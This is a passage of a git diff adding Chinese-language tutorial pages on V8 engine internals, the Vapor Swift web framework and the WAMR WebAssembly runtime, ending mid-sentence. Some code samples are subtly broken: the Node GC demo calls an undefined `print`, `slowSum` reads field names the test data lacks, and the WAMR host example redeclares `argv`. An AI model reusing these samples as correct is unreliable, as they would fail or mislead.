**PACKED_SMI_ELEMENTS**(密集小整数)、**PACKED_DOUBLE_ELEMENTS**、**HOLEY_ELEMENTS**(有洞)等。从一种「升级」到另一种可能触发**去优化**或额外转换开销。写性能敏感代码时,避免给数组乱塞 `undefined` 洞、避免混用整数与浮点。 + +### 5. Orinoco 垃圾回收 + +V8 堆大致分: + +- **New Space(新生代)**:新对象诞生区,Scavenger 或 Minor Mark-Sweep 回收,「朝生暮死」 +- **Old Space(老生代)**:熬过几次 GC 的对象,Major GC 标记-清扫-可选压缩 +- **Code Space / Large Object Space**:JIT 代码与大对象专用区域 + +Orinoco 的设计目标:**并行 + 并发**,尽量把标记、清扫放到后台线程,把 **Stop-The-World** 停顿压到毫秒级。老生代采用**增量标记**,分配过快时触发 **incremental marking** 小步推进。 + +### 6. Isolate 与 Embedder API + +每个 V8 实例是一个 **Isolate**(隔离堆与编译缓存)。Chrome 每标签页、Node 每进程通常一个主 Isolate。C++ 嵌入方通过 **V8 API**(`v8::Isolate`, `v8::Context`, `v8::Local`)把 JS 嵌进游戏引擎、PDF 阅读器等——Node 的 `process`、`Buffer` 就是原生绑定在 Context 上的对象。 + +### 7. Deoptimization(去优化) + +优化代码里布满 **guard(守卫)**:Map 不对、类型变了、数组种类变了就跳到 **deopt trampoline**,用保存的栈帧在 Ignition 里重放。正确性永远优先;只是暂时变慢,不会 silent wrong result。 + +## 从源码到机器码(零基础走读) + +以一段普通函数为例: + +```javascript +function sum(arr) { + let total = 0; + for (let i = 0; i < arr.length; i++) { + total += arr[i]; + } + return total; +} +``` + +1. **Parser** 生成 AST,**Ignition** 编译为字节码(`LdaZero`, `Add`, `Star`, `JumpLoop` 等) +2. 前几次调用:Ignition 解释执行,Feedback Vector 记录 `arr` 每次都是 **PACKED_SMI_ELEMENTS** +3. 预算耗尽:**Maglev** 可能生成带「数组种类检查」的循环 +4. 调用更频繁:**TurboFan** 内联 `length`、去掉边界检查(在证明安全后),生成接近 C 的计数循环 +5. 若某次传入 `{ length: 3, 0: 1, 1: 2, 2: 3 }` 这类类数组对象,guard 失败 → **deopt** + +## 实践案例 + +### 案例 1:用 d8 观察隐藏类与优化(V8 Shell) + +V8 自带调试 Shell `d8`,需本地编译 V8 或使用已构建的二进制。以下命令展示 Map 与 TurboFan 常量折叠: + +```javascript +// 保存为 peak.js,运行: +// d8 --allow-natives-syntax peak.js + +function Peak(name, height) { + this.name = name; + this.height = height; +} + +const matterhorn = new Peak('Matterhorn', 4478); +const wendelstein = new Peak('Wendelstein', 1838); + +// 让构造函数完成 slack tracking(稳定 Map) +for (let i = 0; i < 8; i++) new Peak('x', i); + +function getName(obj) { + return obj.name; +} + +// 预热 + 强制优化 +getName(matterhorn); +getName(matterhorn); +%OptimizeFunctionOnNextCall(getName); +getName(matterhorn); + +print('name:', getName(wendelstein)); + +// 破坏 Map 一致性 → 可能触发 deopt +wendelstein.extra = 'promoted'; +getName(wendelstein); +``` + +要点: + +- `new Peak(...)` 两次若属性顺序一致,共享同一条 Map 链,属性访问可走快路径 +- `%OptimizeFunctionOnNextCall` 仅调试构建可用,模拟「函数变热」 +- 事后给 `wendelstein` 加非常规属性,可能使其脱离原 Map,已优化代码中的 guard 需处理 + +本地编译 V8 的典型步骤(耗时长,仅学习用): + +```bash +git clone https://github.com/v8/v8.git +cd v8 +# 需 depot_tools 与 gclient sync,见官方 docs +tools/dev/v8gen.py x64.release +ninja -C out.gn/x64.release d8 +./out.gn/x64.release/d8 --allow-natives-syntax peak.js +``` + +### 案例 2:Node.js 中写出「V8 友好」的热路径 + +下面两段逻辑等价,但对引擎难度不同: + +```javascript +// ❌ 慢路径倾向:动态增删键、混合类型 +function slowSum(rows) { + let total = 0; + for (const row of rows) { + const bag = {}; + bag.value = row.v; // 每次新建对象 + 新 Map + bag.flag = row.f; + total += bag.value; + } + return total; +} + +// ✅ 快路径倾向:稳定形状、Smi 数组 +function fastSum(rows) { + let total = 0; + for (let i = 0; i < rows.length; i++) { + total += rows[i].value; // row 构造函数一致 → 单态 IC + } + return total; +} + +// 预热后 benchmark(Node 20+) +const rows = Array.from({ length: 1_000_000 }, (_, i) => ({ + value: i, + flag: i % 2, +})); + +console.time('slow'); +slowSum(rows); +console.timeEnd('slow'); + +console.time('fast'); +fastSum(rows); +console.timeEnd('fast'); +``` + +实践建议: + +- **构造函数里一次性定好字段**,避免 `delete obj.x` 或运行时乱序 `obj[newKey] = ...` +- 数值密集用 **TypedArray**(`Float64Array`)绕过 JS 对象属性查找 +- 不要迷信微优化;先 profile(`node --prof`, Chrome Performance),再对热点动刀 + +### 案例 3:观察 GC 与堆上限(Node) + +```javascript +// node --expose-gc gc-demo.js + +const v8 = require('node:v8'); + +function heapMB() { + const { used_heap_size } = v8.getHeapStatistics(); + return (used_heap_size / 1024 / 1024).toFixed(1); +} + +print('before alloc', heapMB(), 'MB'); + +const junk = []; +for (let i = 0; i < 200_000; i++) { + junk.push({ id: i, data: Buffer.alloc(1024) }); // 触发老生代压力 +} + +print('after alloc', heapMB(), 'MB'); + +if (global.gc) { + global.gc(); + print('after manual gc', heapMB(), 'MB'); +} else { + print('run with: node --expose-gc gc-demo.js'); +} +``` + +`--expose-gc` 暴露 `global.gc()` 仅供调试;生产环境靠 Orinoco 自动调度。`v8.getHeapStatistics()` 可查看 `malloced_memory`、`external_memory`(Buffer 多在堆外记账)。 + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| Chrome / Chromium | 每渲染进程嵌入 V8;Blink 通过 V8 API 绑定 DOM | +| Node.js | 主线程 JS 全在 V8;`libuv` 处理 I/O,不执行 JS | +| Electron | Chromium + Node 双栈,共享 V8 实例策略因版本而异 | +| WebAssembly | V8 同时编译执行 Wasm,与 JS 共享堆与调用约定 | +| Hermes | RN 移动端引擎,**AOT 字节码、低内存**;与 V8 的 JIT 哲学相反 | +| QuickJS | 嵌入式轻量解释器,无重型 TurboFan,适合固件 | +| JavaScriptCore | Safari 引擎,同样 JIT + 隐藏类,实现细节不同 | + +## 常见误区 + +1. **「V8 把 JS 编译成单一机器码文件」**——只有热点函数、热点循环会被 JIT;冷代码长期停留在字节码 +2. **「对象越多越好,反正有 GC」**——分配速率推高 GC 频率,老生代 Major GC 仍会造成可感知停顿 +3. **「`eval` 和 `with` 只是风格问题」**——它们会破坏作用域稳定性,导致优化器放弃内联 +4. **「Node 单线程所以不怕 CPU 密集 JS」**——V8 再快,长时间占满主线程仍会阻塞事件循环 +5. **「换最新 V8 就一定更快」**——安全补丁、Spectre 缓解、边界检查可能增加 guard;要以工作负载实测为准 + +## 调试与观测工具 + +| 工具 | 用途 | +|------|------| +| `d8` + `--allow-natives-syntax` | `%DebugPrint(obj)`, `%OptimizeFunctionOnNextCall`, `%HasFastProperties` | +| Chrome DevTools → Performance / Memory | 火焰图、分配时间线、堆快照 | +| `node --prof` / `node --cpu-prof` | 生成 V8 采样 profile,用 `node --prof-process` 或 speedscope 查看 | +| `node --trace-opt` / `--trace-deopt` | 打印优化与去优化事件 | +| `chrome://tracing` | 底层 V8 编译、GC 事件(需开启 trace 类别) | + +## 性能调优清单(工程向) + +- 保持**单态**(monomorphic)调用点:同一函数位置总是同一接收者类型 +- 数组:避免 **holey**、避免 `push` 后再 `delete` 制造洞 +- 大对象池、复用 Buffer,降低 Scavenger 压力 +- 把 CPU 密集任务丢进 **Worker Threads** 或 wasm/native addon +- 升级 Node LTS 以获取新 Maglev/Turboshaft 改进,但要做回归测试 + +## 延伸阅读 + +- 官方仓库:[v8/v8](https://github.com/v8/v8) +- 文档首页:[v8.dev](https://v8.dev/) +- Ignition:[v8.dev/docs/ignition](https://v8.dev/docs/ignition) +- Hidden Class / Map:[v8.dev/docs/hidden-classes](https://v8.dev/docs/hidden-classes) +- Orinoco GC 介绍:[Trash talk: the Orinoco garbage collector](https://v8.dev/blog/trash-talk) +- 离开 Sea of Nodes、Turboshaft:[Land ahoy](https://v8.dev/blog/leaving-the-sea-of-nodes) +- Node.js 与 V8 版本对照:[nodejs.org/en/about/previous-releases](https://nodejs.org/en/about/previous-releases) +- 设计文档索引:[v8.dev/docs](https://v8.dev/docs) diff --git a/src/content/docs/projects/vapor.md b/src/content/docs/projects/vapor.md new file mode 100644 index 000000000..ef6651b98 --- /dev/null +++ b/src/content/docs/projects/vapor.md @@ -0,0 +1,282 @@ +--- +title: Vapor — 用 Swift 写后端 API 的 Web 框架 +来源: https://github.com/vapor/vapor +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Vapor 是 **Swift 生态里最成熟的服务端 Web 框架**——用你写 iOS / macOS 时已经熟悉的 Swift 语法,搭 HTTP 服务器、REST API、微服务,底层跑在 Apple 的 SwiftNIO 非阻塞 I/O 之上。 + +日常类比: + +> 想象你家楼下开了一家「万能快递站」。顾客(浏览器 / App)把包裹(HTTP 请求)送来,门口有个**分拣员**(Router)看地址标签:`GET /users/42` 该去几号窗口。每个窗口(Route Handler)只做一件事:查数据库、改状态、回 JSON。Vapor 就是帮你把这家快递站的**门牌系统、窗口分工、打包规范**全部标准化——你不用自己从零拼 TCP 监听和 HTTP 解析,专注写「收到包裹后怎么处理」。 + +和 [[nestjs]](Node.js)、[[fastapi]](Python)的定位类似,但最大差异是:**前后端可以共用同一门语言**。团队已有 Swift/iOS 能力时,不必为了后端再养一套 TypeScript 或 Go 同学。 + +一句话:**Vapor = Swift 世界的 Express / Nest,自带类型安全路由 + Fluent ORM + 中间件管线。** + +## 为什么重要 + +不理解 Vapor,下面几件事都解释不通: + +- 为什么 Apple 推 Swift 全栈时,官方教程和示例项目默认选 Vapor 而不是自己再造轮子 +- 为什么 Swift Server Work Group(SSWG)的 Todos 教程、OpenAPI 示例都以 Vapor 为 HTTP 层 +- 为什么同一套 `Codable` 模型可以在 iOS 客户端和 Vapor 服务端**直接复用**,少写一层 DTO 转换 +- 为什么 Vapor 4 全面拥抱 `async/await`,和 Swift 6 并发模型对齐,而不是继续堆回调 + +它代表一种后端范式:**用强类型 + 编译期检查,把「路由写错、JSON 字段拼错、SQL 注入」尽量挡在上线之前。** + +## 核心要点 + +Vapor 的运转可以拆成 **五块**: + +### 1. Application 与生命周期 + +`Application` 是整个服务的根对象,持有路由表、数据库连接、中间件栈、日志器。启动入口通常是 `entrypoint.swift` 里的 `async throws` 函数,在 `configure.swift` 里配数据库/中间件,在 `routes.swift` 里挂路由。 + +类比:Application 是快递总站大楼;`configure` 是装修(接水电、装监控);`routes` 是贴门牌。 + +### 2. Routing(路由) + +路由把 **HTTP 方法 + 路径** 映射到处理函数。路径里的 `:id` 是动态参数,值在 `req.parameters.get("id")` 里取。Vapor 底层用 RoutingKit 的 **Trie 路由树**,匹配速度快,适合 API 路由多的服务。 + +支持的路由辅助方法:`get`、`post`、`put`、`patch`、`delete`,以及通用的 `on(.HEAD, ...)`。 + +### 3. Content(请求/响应体) + +请求体、响应体通过 Swift 的 `Codable` 自动编解码 JSON。定义好 `struct`,框架帮你 `try req.content.decode(MyDTO.self)` 和 `return dto`(自动变 JSON)。 + +### 4. Fluent ORM(可选但常用) + +Fluent 是 Vapor 官方的 ORM:用 `Model` 协议描述表结构,用 `Migration` 建表/改表,用链式 API 查库,**不用手写 SQL**(需要时也可 raw SQL)。驱动支持 PostgreSQL、MySQL、SQLite、MongoDB 等。 + +### 5. Middleware(中间件) + +中间件包在路由外面,形成洋葱模型:认证、日志、限流、CORS 都在进 handler 之前或出响应之后执行。可以挂在全局 `app.middleware.use(...)`,也可以只挂在某个 `routes.grouped(AuthMiddleware())` 上。 + +--- + +## 实践案例 + +### 案例 1:最小可运行 API —— Hello + 带参数的路由 + +新建项目(需先安装 [Vapor Toolbox](https://github.com/vapor/toolbox)): + +```bash +vapor new MyAPI +cd MyAPI +swift run App serve +``` + +`Sources/App/routes.swift` 里最常见的起步代码: + +```swift +import Vapor + +func routes(_ app: Application) throws { + // GET / → {"hello": "world"} + app.get { req async throws -> [String: String] in + ["hello": "world"] + } + + // GET /users/:name → 问候指定用户 + app.get("users", ":name") { req async throws -> String in + guard let name = req.parameters.get("name") else { + throw Abort(.badRequest) + } + return "Hello, \(name)!" + } +} +``` + +**逐行解释**: + +- 返回 `[String: String]` 或 `String`,Vapor 自动设 `Content-Type: application/json` 或 `text/plain` +- `:name` 是路径参数;取不到时 `Abort(.badRequest)` 直接回 400 +- `async throws` 是 Vapor 4 推荐写法,和 Swift 并发一致 + +用 curl 验证: + +```bash +curl http://127.0.0.1:8080/ +curl http://127.0.0.1:8080/users/Jason +``` + +### 案例 2:REST Controller + Fluent 模型(Todo CRUD 骨架) + +下面是一个完整的 **Todo API** 骨架:模型、迁移、控制器、路由注册。创建项目时可 `vapor new Todos --fluent --db postgres`。 + +**模型与迁移**(`Sources/App/Models/Todo.swift`): + +```swift +import Fluent +import Vapor + +final class Todo: Model, Content, @unchecked Sendable { + static let schema = "todos" + + @ID(key: .id) var id: UUID? + @Field(key: "title") var title: String + @Field(key: "is_done") var isDone: Bool + + init() {} + + init(id: UUID? = nil, title: String, isDone: Bool = false) { + self.id = id + self.title = title + self.isDone = isDone + } +} + +struct CreateTodoMigration: AsyncMigration { + func prepare(on database: Database) async throws { + try await database.schema("todos") + .id() + .field("title", .string, .required) + .field("is_done", .bool, .required, .custom("false")) + .create() + } + + func revert(on database: Database) async throws { + try await database.schema("todos").delete() + } +} +``` + +**控制器**(`Sources/App/Controllers/TodoController.swift`): + +```swift +import Fluent +import Vapor + +struct TodoController: RouteCollection { + func boot(routes: RoutesBuilder) throws { + let todos = routes.grouped("api", "v1", "todos") + todos.get(use: index) + todos.post(use: create) + todos.group(":todoID") { todo in + todo.get(use: show) + todo.put(use: update) + todo.delete(use: delete) + } + } + + func index(req: Request) async throws -> [Todo] { + try await Todo.query(on: req.db).all() + } + + func create(req: Request) async throws -> Todo { + let input = try req.content.decode(Todo.self) + try await input.save(on: req.db) + return input + } + + func show(req: Request) async throws -> Todo { + guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else { + throw Abort(.notFound) + } + return todo + } + + func update(req: Request) async throws -> Todo { + guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else { + throw Abort(.notFound) + } + let input = try req.content.decode(Todo.self) + todo.title = input.title + todo.isDone = input.isDone + try await todo.save(on: req.db) + return todo + } + + func delete(req: Request) async throws -> HTTPStatus { + guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else { + throw Abort(.notFound) + } + try await todo.delete(on: req.db) + return .noContent + } +} +``` + +**配置与注册**(节选 `configure.swift` / `routes.swift`): + +```swift +// configure.swift +try app.databases.use(.postgres(url: "postgres://localhost/todos"), as: .psql) +app.migrations.add(CreateTodoMigration()) +try await app.autoMigrate() + +// routes.swift +try app.register(collection: TodoController()) +``` + +这套结构和 [[nestjs]] 的 `Module + Controller + Service` 很像,只是 Swift 用 `struct` 控制器 + 协议 `RouteCollection`,依赖通过 `req.db`、`req.application` 传入,而不是构造器注入。 + +### 案例 3:中间件保护路由组 + +登录接口公开,其余接口要 Bearer Token: + +```swift +struct AuthMiddleware: AsyncMiddleware { + func respond(to req: Request, chainingTo next: AsyncResponder) async throws -> Response { + guard let token = req.headers.bearerAuthorization?.token, + token == Environment.get("API_TOKEN") else { + throw Abort(.unauthorized) + } + return try await next.respond(to: req) + } +} + +func routes(_ app: Application) throws { + app.post("login") { req async throws -> [String: String] in + // 校验用户名密码,签发 token … + ["token": "issued-token"] + } + + let protected = app.grouped(AuthMiddleware()) + protected.get("dashboard") { req async throws -> String in + "secret data" + } +} +``` + +`grouped` 同时支持**路径前缀**和**中间件**,可以嵌套:`app.grouped("api", "v1").grouped(AuthMiddleware())`。 + +--- + +## 与生态的关系 + +| 组件 | 作用 | +|------|------| +| **SwiftNIO** | 底层非阻塞网络 I/O,Vapor 的性能基石 | +| **Fluent** | ORM + 迁移,对接 [[postgresql]] / SQLite / MySQL | +| **Leaf** | 服务端模板引擎,做 HTML 页面(SSR) | +| **Queues** | 后台任务队列(邮件、定时任务) | +| **JWT / Redis 等** | 社区包,通过 Swift Package Manager 引入 | + +官方文档:[docs.vapor.codes](https://docs.vapor.codes)。Swift 基金会维护的 [swift-server-todos-tutorial](https://github.com/swiftlang/swift-server-todos-tutorial) 演示了 Vapor + OpenAPI + PostgreSQL + OpenTelemetry 的生产向组合。 + +## 常见坑与选型建议 + +1. **别在 Linux 上指望 Xcode**:服务端开发常用 `swift build` / Docker;本地 Mac 开发体验最好。 +2. **迁移要先 `autoMigrate` 或 `swift run App migrate`**:否则 Fluent 模型和真实表结构不一致会直接运行时崩溃。 +3. **小脚本别硬上 Vapor**:纯 CLI 或单次任务用 `swift run` 即可;Vapor 适合长期运行的 HTTP 服务。 +4. **和 Hummingbird 怎么选**:同属 SSWG 生态;Hummingbird 更轻、模块化;Vapor 电池更全(Fluent/Leaf/Queues 一条龙)。新项目 API 优先可先看团队是否已深度用 Fluent。 + +## 学习路径建议 + +1. `vapor new` 跑通 Hello World + `curl` 测路由 +2. 读官方 **Basics → Routing**、**Fluent → Overview**,手写一个 3 资源的 CRUD +3. 加一个 `Middleware`(日志或 API Key),理解请求管线 +4. 用 `XCTVapor` 写 HTTP 测试(`Tests/AppTests` 模板里已有示例) +5. 对接真实 [[postgresql]],用 Docker Compose 起库,环境变量配 `DATABASE_URL` +6. 若有 iOS 客户端,把 `Codable` 模型抽到 Swift Package,前后端共用 + +## 小结 + +Vapor 把 **Swift 的类型系统** 延伸到服务端:路由、请求体、数据库行都是编译期可检查的。日常类比里它是「标准化快递分拣站」——你负责定义窗口逻辑,框架负责收包、路由、打包 JSON。配合 Fluent 和中间件,从零到可部署的 REST API 通常比换一门新语言学后端更快,尤其适合 **Swift 原生团队做全栈或 BFF 层**。 diff --git a/src/content/docs/projects/wamr.md b/src/content/docs/projects/wamr.md new file mode 100644 index 000000000..271cc9a45 --- /dev/null +++ b/src/content/docs/projects/wamr.md @@ -0,0 +1,323 @@ +--- +title: WAMR — wasm 微运行时(嵌入式) +description: Bytecode Alliance 出品的轻量级 WebAssembly 运行时,面向 MCU、RTOS 与边缘设备 +来源: 'https://github.com/bytecodealliance/wasm-micro-runtime' +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:给单片机装一个「可换插件的沙箱」 + +想象你家智能插座里跑的是一块只有 256KB Flash、64KB RAM 的 MCU。厂商想让你「远程升级业务逻辑」,但又怕随便塞一段 C 代码把整台设备搞崩、或者泄露 Wi-Fi 密码。 + +传统做法:要么整固件 OTA(风险大、回滚难),要么自己写一套脚本解释器(安全模型薄弱)。**WAMR(WebAssembly Micro Runtime)** 提供第三条路:把业务逻辑编译成 **WebAssembly 字节码**,在设备里用一个小到几十 KB 的运行时执行——像给 MCU 装了一个**可热插拔、带沙箱的插件槽**。 + +和浏览器里的 Wasm 不同,WAMR 不追求跑整页 Web 应用,而是为 **嵌入式、IoT、边缘网关、TEE(可信执行环境)** 裁剪:解释器 ~85KB、AOT 运行时 ~50KB 量级,能跑在 Zephyr、RT-Thread、ESP-IDF、VxWorks 乃至 Linux SGX 上。 + +## 是什么 + +**WAMR** 是 [Bytecode Alliance](https://bytecodealliance.org/) 旗下的轻量级独立 WebAssembly 运行时,用 C 编写,核心目标是: + +- **极小体积**:Cortex-M4F 上 fast interpreter 文本段约 59KB,AOT 运行时约 29KB(官方 bloaty 数据,随特性开关变化) +- **多执行模式**:经典/快速解释器、AOT(Ahead-of-Time)、LLVM JIT、Fast JIT、Multi-tier JIT +- **高度可配置**:CMake 开关裁剪 libc、WASI、线程、SIMD、调试等 +- **跨平台**:x86、ARM/Thumb、AArch64、RISC-V、Xtensa(ESP32)、MIPS、ARC 等 + +仓库结构可以粗分为: + +| 组件 | 作用 | +|------|------| +| **iwasm / VMcore** | 解释/编译执行 Wasm 的核心 | +| **wamrc** | 把 `.wasm` 离线编译成 `.aot` 的 AOT 编译器(基于 LLVM) | +| **product-mini** | 带 CLI 的 `iwasm` 可执行文件,快速验证 | +| **wamr-app-framework**(独立仓库) | IoT 应用框架:定时器、传感器、进程间通信、LVGL GUI | +| **wamr-sdk** | 菜单式配置,裁剪运行时并交叉编译 Wasm 应用 | + +一句话:**Wasmtime 是服务器/桌面上的「标准跑车」,WAMR 是塞进手表和路由器里的「袖珍引擎」。** + +## 为什么重要 + +嵌入式场景里,「能跑 Wasm」和「能**好用**地跑 Wasm」差很远: + +1. **内存预算**:很多 MCU 整片 RAM 不到 128KB,WAMR 支持 `libc-builtin`(`-nostdlib`)模式,配合导出 `__heap_base`/`__data_end` 可把线性内存压到几 KB 级。 +2. **启动延迟**:解释器即载即用;AOT 预编译后接近原生速度,适合周期性唤醒的传感器节点。 +3. **安全边界**:Wasm 线性内存沙箱 + 可选硬件 trap 做边界检查;SGX/TDX 集成让敏感计算进 enclave。 +4. **生态对齐**:支持 WASI、wasm-c-api、与 Zephyr/ESP-IDF 等 RTOS 的官方移植,降低「写一次逻辑、多板子复用」成本。 + +对照邻居:[[wasmtime]] 偏云原生与规范完整性;[[wasmer]] 偏多语言嵌入 API;WAMR 偏 **ROM/RAM 极度受限** 的设备。 + +## 核心概念 + +### 1. 执行模式怎么选 + +``` +Wasm 字节码 (.wasm) + │ + ├─► Fast Interpreter ──► 启动最快,体积适中,性能基准 + ├─► Classic Interpreter ──► 更老实现,某些平台仍需要 + ├─► AOT (.aot) ──► wamrc 离线编译,接近原生,适合量产固件 + ├─► LLVM JIT ──► 开发期灵活,启动慢于 AOT + ├─► Fast JIT ──► 轻量 JIT,约为 AOT 50% 性能, footprint 小 + └─► Multi-tier JIT ──► Fast JIT 先跑,后台升到 LLVM JIT +``` + +**零基础建议**:先用 `iwasm foo.wasm` 跑通解释器;性能不够再 `wamrc -o foo.aot foo.wasm`;MCU 量产几乎总是 AOT + 解释器 fallback。 + +### 2. libc-builtin vs libc-wasi + +| 模式 | 编译 Wasm 时 | 运行时 CMake | 典型场景 | +|------|-------------|--------------|----------| +| **libc-builtin** | `clang -nostdlib` | `WAMR_BUILD_LIBC_BUILTIN=1` | 无文件 I/O、极致瘦身 | +| **libc-wasi** | 默认 wasi-sdk 链接 | `WAMR_BUILD_LIBC_WASI=1` | 需要 `printf`/文件/套接字(WASI) | + +`-nostdlib` 不把 libc 打进 `.wasm`,体积可小一个数量级;代价是只能调用 WAMR 内置的极简 C 库。 + +### 3. 嵌入模型:Engine → Store → Module → Instance + +WAMR 同时提供两套 C API(**不要混用**): + +- **`wasm_export.h`**:WAMR 原生 API(`wasm_runtime_*`),嵌入式最常用 +- **`wasm_c_api.h`**:引擎无关的标准 Wasm C API + +原生 API 典型生命周期: + +``` +wasm_runtime_init() + → wasm_runtime_load() // 读入 .wasm 或 .aot + → wasm_runtime_instantiate() // 分配栈、堆 + → wasm_runtime_create_exec_env() + → wasm_runtime_call_wasm() // 调导出函数 + → wasm_runtime_destroy_exec_env() + → wasm_runtime_deinstantiate() + → wasm_runtime_unload() + → wasm_runtime_destroy() +``` + +### 4. 宿主与 Wasm 互调(Native API) + +设备驱动、传感器 HAL 在 **native(宿主)** 侧;业务逻辑在 **Wasm** 侧。Wasm 通过 `import` 调用宿主注册的 native 函数;宿主通过 `wasm_runtime_call_wasm` 回调 Wasm 导出函数。 + +签名字符串里的 `$`、`*`、`~` 等符号让运行时自动做**指针地址转换**和**缓冲区边界检查**——这是嵌入式里最容易踩坑的地方,务必读 `doc/export_native_api.md`。 + +### 5. App Framework(可选) + +若要做「设备上跑多个 Wasm 小程序」、定时器、发布/订阅、传感器 API,启用 **wamr-app-framework**:事件驱动、每个 App 独立沙箱与线程。适合智能家电、工业网关,但比裸 VMcore 重不少。 + +## 性能与体积参考 + +| 组件(Cortex-M4F 量级) | 文本段约 | 说明 | +|------------------------|---------|------| +| Fast interpreter | ~59 KB | 默认推荐 | +| Classic interpreter | ~56 KB | `-DWAMR_BUILD_FAST_INTERP=0` | +| AOT runtime | ~29 KB | 只加载预编译模块 | +| libc-wasi | ~21 KB | 需要 WASI 时 | +| libc-builtin | ~3.7 KB | `-nostdlib` 搭配 | + +运行时默认 **Wasm 操作数栈** 与 **App heap** 各 16KB,可用 `iwasm --stack-size=` / `--heap-size=` 或 `wasm_runtime_instantiate` 参数调小。 + +## 代码示例 + +### 示例 1:用 wasi-sdk 编译并在 iwasm 里运行 + +```c +/* hello.c — 最小 WASI 程序 */ +#include +#include + +int main(int argc, char **argv) +{ + char *buf = malloc(1024); + if (!buf) return -1; + printf("Hello from WAMR!\n"); + sprintf(buf, "%s", "1234\n"); + printf("buf: %s", buf); + free(buf); + return 0; +} +``` + +```bash +# 安装 wasi-sdk 到 /opt/wasi-sdk 后 +/opt/wasi-sdk/bin/clang -O3 -o hello.wasm hello.c + +# 构建 iwasm(Linux 示例) +cd product-mini/platforms/linux && mkdir -p build && cd build +cmake .. && make + +./iwasm hello.wasm +# Hello from WAMR! +# buf: 1234 +``` + +若要 **极致瘦身**(libc-builtin / nostdlib): + +```bash +/opt/wasi-sdk/bin/clang -O3 -nostdlib \ + -z stack-size=8192 -Wl,--initial-memory=65536 \ + -o tiny.wasm hello.c \ + -Wl,--export=main -Wl,--export=__main_argc_argv \ + -Wl,--export=__heap_base -Wl,--export=__data_end \ + -Wl,--no-entry -Wl,--strip-all -Wl,--allow-undefined + +cmake .. -DWAMR_BUILD_LIBC_BUILTIN=1 +./iwasm --heap-size=4096 --stack-size=4096 tiny.wasm +``` + +### 示例 2:AOT 预编译与跨架构部署 + +在开发机(x86_64)上为设备(如 ARMv7-M)预编译: + +```bash +# 先构建 wamrc(见 wamr-compiler/README.md) +wamrc --target=thumbv7m -o sensor.aot sensor.wasm + +# 设备侧 iwasm 加载 .aot,跳过解释执行路径 +./iwasm sensor.aot +``` + +`wamrc` 支持 `--opt-level`、`--size-level`、SGX(`-sgx`)、关闭 SIMD(`--disable-simd`)等。量产时 **wamrc 与设备上 VMcore 版本应一致**,否则可能因 `AOT_CURRENT_VERSION` 不兼容而拒绝加载。 + +### 示例 3:宿主嵌入 — 加载模块并调用导出函数 + +```c +#include "wasm_export.h" + +int main(int argc, char *argv[]) +{ + char *buffer = NULL; + uint32_t buffer_size = 0; + wasm_module_t module; + wasm_module_inst_t module_inst; + wasm_exec_env_t exec_env; + uint32_t argv[2]; + + if (!wasm_runtime_init()) + return -1; + + buffer_size = read_file_to_buffer(argv[1], &buffer); + module = wasm_runtime_load(buffer, buffer_size, NULL, 0); + module_inst = wasm_runtime_instantiate(module, 8 * 1024, 8 * 1024, NULL, 0); + exec_env = wasm_runtime_create_exec_env(module_inst, 8 * 1024); + + argv[0] = 1; + argv[1] = 2; + if (!wasm_runtime_call_wasm(exec_env, module_inst, "add", 2, argv)) { + const char *exception = wasm_runtime_get_exception(module_inst); + printf("Exception: %s\n", exception); + } else { + printf("1 + 2 = %u\n", argv[0]); + } + + wasm_runtime_destroy_exec_env(exec_env); + wasm_runtime_deinstantiate(module_inst); + wasm_runtime_unload(module); + wasm_runtime_destroy(); + return 0; +} +``` + +(完整错误处理、文件读取见 `samples/basic`;此处展示调用链。) + +### 示例 4:向 Wasm 导出 Native API(传感器读数) + +```c +#include "wasm_export.h" + +static int32_t +read_temp_wrapper(wasm_exec_env_t exec_env) +{ + /* 实际硬件 I2C 读温度 */ + return 235; /* 23.5°C × 10 */ +} + +static NativeSymbol native_symbols[] = { + EXPORT_WASM_API_WITH_SIG(read_temp, "()i"), +}; + +bool register_sensor_native(void) +{ + return wasm_runtime_register_natives("env", native_symbols, + sizeof(native_symbols) / sizeof(NativeSymbol)); +} +``` + +Wasm 侧声明 `import "env" "read_temp" (func $read_temp (result i32))` 即可调用。若传递缓冲区,签名用 `(*~)i` 等形式触发自动边界检查。 + +## 实践路径(零基础 30 分钟) + +1. **桌面验证**:克隆仓库 → 按 `product-mini/README.md` 构建 `iwasm` → 编译并运行 `hello.wasm`。 +2. **读一个 sample**:`samples/hello-world` 或 `samples/basic`,对照 CMake 看如何链 `libvmlib.a`。 +3. **试 AOT**:构建 `wamrc`,对比同模块 `.wasm` vs `.aot` 的执行耗时。 +4. **选 RTOS 移植**:目标板若是 ESP32,读 `product-mini/platforms/esp-idf`;若是 Zephyr,读 `platforms/zephyr/simple`。 +5. **需要多 App / 传感器 API** 再引入 wamr-app-framework,不要第一步就上大框架。 + +## 踩过的坑 + +1. **wamrc 与运行时版本不一致**:AOT 文件加载失败,查 `AOT_CURRENT_VERSION` 与 release note。 +2. **nostdlib 却未开 libc-builtin**:`iwasm` 报未解析符号;CMake 必须 `WAMR_BUILD_LIBC_BUILTIN=1`。 +3. **指针直接当 native 地址用**:Wasm 线性内存地址须由运行时转换,否则越界或读错数据。 +4. **默认 16KB 栈/堆对 MCU 太大**:实例化参数和 `iwasm` CLI 都要显式调小。 +5. **混用 wasm_c_api 与 wasm_export.h**:两套 API 生命周期不互通,选一个坚持用。 +6. **Windows MinGW 默认无 WASI**:需 `-DWAMR_DISABLE_HW_BOUND_CHECK=1`,且 AOT 要 `wamrc --bounds-checks=1`。 +7. **线程 native 函数不检查终止**:长时间阻塞的 native 应周期性 `wasm_cluster_is_thread_terminated` 或使用 `wasm_runtime_begin_blocking_op`。 + +## 适用 vs 不适用 + +**适用**: + +- MCU / RTOS 上跑可 OTA 的业务逻辑插件 +- 边缘网关统一多语言算法(C/Rust/AssemblyScript → Wasm) +- 需要 SGX/TDX 隔离的机密计算原型 +- 已有 Zephyr、ESP-IDF、RT-Thread 工程,想加脚本层 + +**不适用**: + +- 桌面/服务器首选全功能运行时 → 看 [[wasmtime]]、[[wasmer]] +- 需要完整浏览器 DOM / JS 互操作 +- 团队不愿接受 Wasm 